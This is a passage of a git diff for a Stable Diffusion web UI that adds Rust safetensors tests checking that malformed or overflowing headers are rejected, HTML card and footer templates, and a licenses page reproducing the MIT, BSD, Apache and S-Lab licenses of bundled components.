Dtype::I32); + assert_eq!(tensor.data(), b""); + } + + #[test] + fn test_invalid_info() { + let serialized = b"<\x00\x00\x00\x00\x00\x00\x00{\"test\":{\"dtype\":\"I32\",\"shape\":[2,2],\"data_offsets\":[0, 4]}}"; + match SafeTensors::deserialize(serialized) { + Err(SafeTensorError::TensorInvalidInfo) => { + // Yes we have the correct error + } + _ => panic!("This should not be able to be deserialized"), + } + } + + #[test] + fn test_validation_overflow() { + // u64::MAX = 18_446_744_073_709_551_615u64 + // Overflow the shape calculation. + let serialized = b"O\x00\x00\x00\x00\x00\x00\x00{\"test\":{\"dtype\":\"I32\",\"shape\":[2,18446744073709551614],\"data_offsets\":[0,16]}}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; + match SafeTensors::deserialize(serialized) { + Err(SafeTensorError::ValidationOverflow) => { + // Yes we have the correct error + } + _ => panic!("This should not be able to be deserialized"), + } + // u64::MAX = 18_446_744_073_709_551_615u64 + // Overflow the num_elements * total shape. + let serialized = b"N\x00\x00\x00\x00\x00\x00\x00{\"test\":{\"dtype\":\"I32\",\"shape\":[2,9223372036854775807],\"data_offsets\":[0,16]}}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; + match SafeTensors::deserialize(serialized) { + Err(SafeTensorError::ValidationOverflow) => { + // Yes we have the correct error + } + _ => panic!("This should not be able to be deserialized"), + } + } +} diff --git a/html/card-no-preview.png b/html/card-no-preview.png new file mode 100644 index 0000000000000000000000000000000000000000..e2beb2692067db56ac5f7bd5bfc3d895d9063371 Binary files /dev/null and b/html/card-no-preview.png differ diff --git a/html/extra-networks-card.html b/html/extra-networks-card.html new file mode 100644 index 0000000000000000000000000000000000000000..39674666f1e336d9bf61d2a6986721cf8591eeee --- /dev/null +++ b/html/extra-networks-card.html @@ -0,0 +1,14 @@ +
+ {background_image} +
+ {metadata_button} + {edit_button} +
+
+
+ +
+ {name} + {description} +
+
diff --git a/html/extra-networks-no-cards.html b/html/extra-networks-no-cards.html new file mode 100644 index 0000000000000000000000000000000000000000..389358d6c4b383fdc3c5686e029e7b3b1ae9a493 --- /dev/null +++ b/html/extra-networks-no-cards.html @@ -0,0 +1,8 @@ +
+

Nothing here. Add some content to the following directories:

+ +
    +{dirs} +
+
+ diff --git a/html/footer.html b/html/footer.html new file mode 100644 index 0000000000000000000000000000000000000000..8739a0f4752fd00b941d888d9a676158a3ba31a2 --- /dev/null +++ b/html/footer.html @@ -0,0 +1,15 @@ +
+ API +  •  + Github +  •  + Gradio +  •  + Startup profile +  •  + Reload UI +
+
+
+{versions} +
diff --git a/html/licenses.html b/html/licenses.html new file mode 100644 index 0000000000000000000000000000000000000000..ca44deddd3663514962493c06a42a38d608c1229 --- /dev/null +++ b/html/licenses.html @@ -0,0 +1,690 @@ + + +

CodeFormer

+Parts of CodeFormer code had to be copied to be compatible with GFPGAN. +
+S-Lab License 1.0
+
+Copyright 2022 S-Lab
+
+Redistribution and use for non-commercial purpose in source and
+binary forms, with or without modification, are permitted provided
+that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright
+   notice, this list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright
+   notice, this list of conditions and the following disclaimer in
+   the documentation and/or other materials provided with the
+   distribution.
+
+3. Neither the name of the copyright holder nor the names of its
+   contributors may be used to endorse or promote products derived
+   from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+In the event that redistribution and/or use for commercial purpose in
+source or binary forms, with or without modification is required,
+please contact the contributor(s) of the work.
+
+ + +

ESRGAN

+Code for architecture and reading models copied. +
+MIT License
+
+Copyright (c) 2021 victorca25
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+ +

Real-ESRGAN

+Some code is copied to support ESRGAN models. +
+BSD 3-Clause License
+
+Copyright (c) 2021, Xintao Wang
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this
+   list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice,
+   this list of conditions and the following disclaimer in the documentation
+   and/or other materials provided with the distribution.
+
+3. Neither the name of the copyright holder nor the names of its
+   contributors may be used to endorse or promote products derived from
+   this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+ +

InvokeAI

+Some code for compatibility with OSX is taken from lstein's repository. +
+MIT License
+
+Copyright (c) 2022 InvokeAI Team
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+ +

LDSR

+Code added by contirubtors, most likely copied from this repository. +
+MIT License
+
+Copyright (c) 2022 Machine Vision and Learning Group, LMU Munich
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+ +

CLIP Interrogator

+Some small amounts of code borrowed and reworked. +
+MIT License
+
+Copyright (c) 2022 pharmapsychotic
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+ +

SwinIR

+Code added by contributors, most likely copied from this repository. + +
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [2021] [SwinIR Authors]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+ +

Memory Efficient Attention

+The sub-quadratic cross attention optimization uses modified code from the Memory Efficient Attention package that Alex Birch optimized for 3D tensors. This license is updated to reflect that. +
+MIT License
+
+Copyright (c) 2023 Alex Birch
+Copyright (c) 2023 Amin Rezaei
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+ +

Scaled Dot Product Attention

+Some small amounts of code borrowed and reworked. +
+   Copyright 2023 The HuggingFace Team. All rights reserved.
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+ +

Curated transformers

+The MPS workaround for nn.Linear on macOS 13.2.X is based on the MPS workaround for nn.Linear created by danieldk for Curated transformers +
+The MIT License (MIT)
+
+Copyright (C) 2021 ExplosionAI GmbH
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
+
+ +

TAESD

+Tiny AutoEncoder for Stable Diffusion option for live previews +
+MIT License
+
+Copyright (c) 2023 Ollin Boer Bohan
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
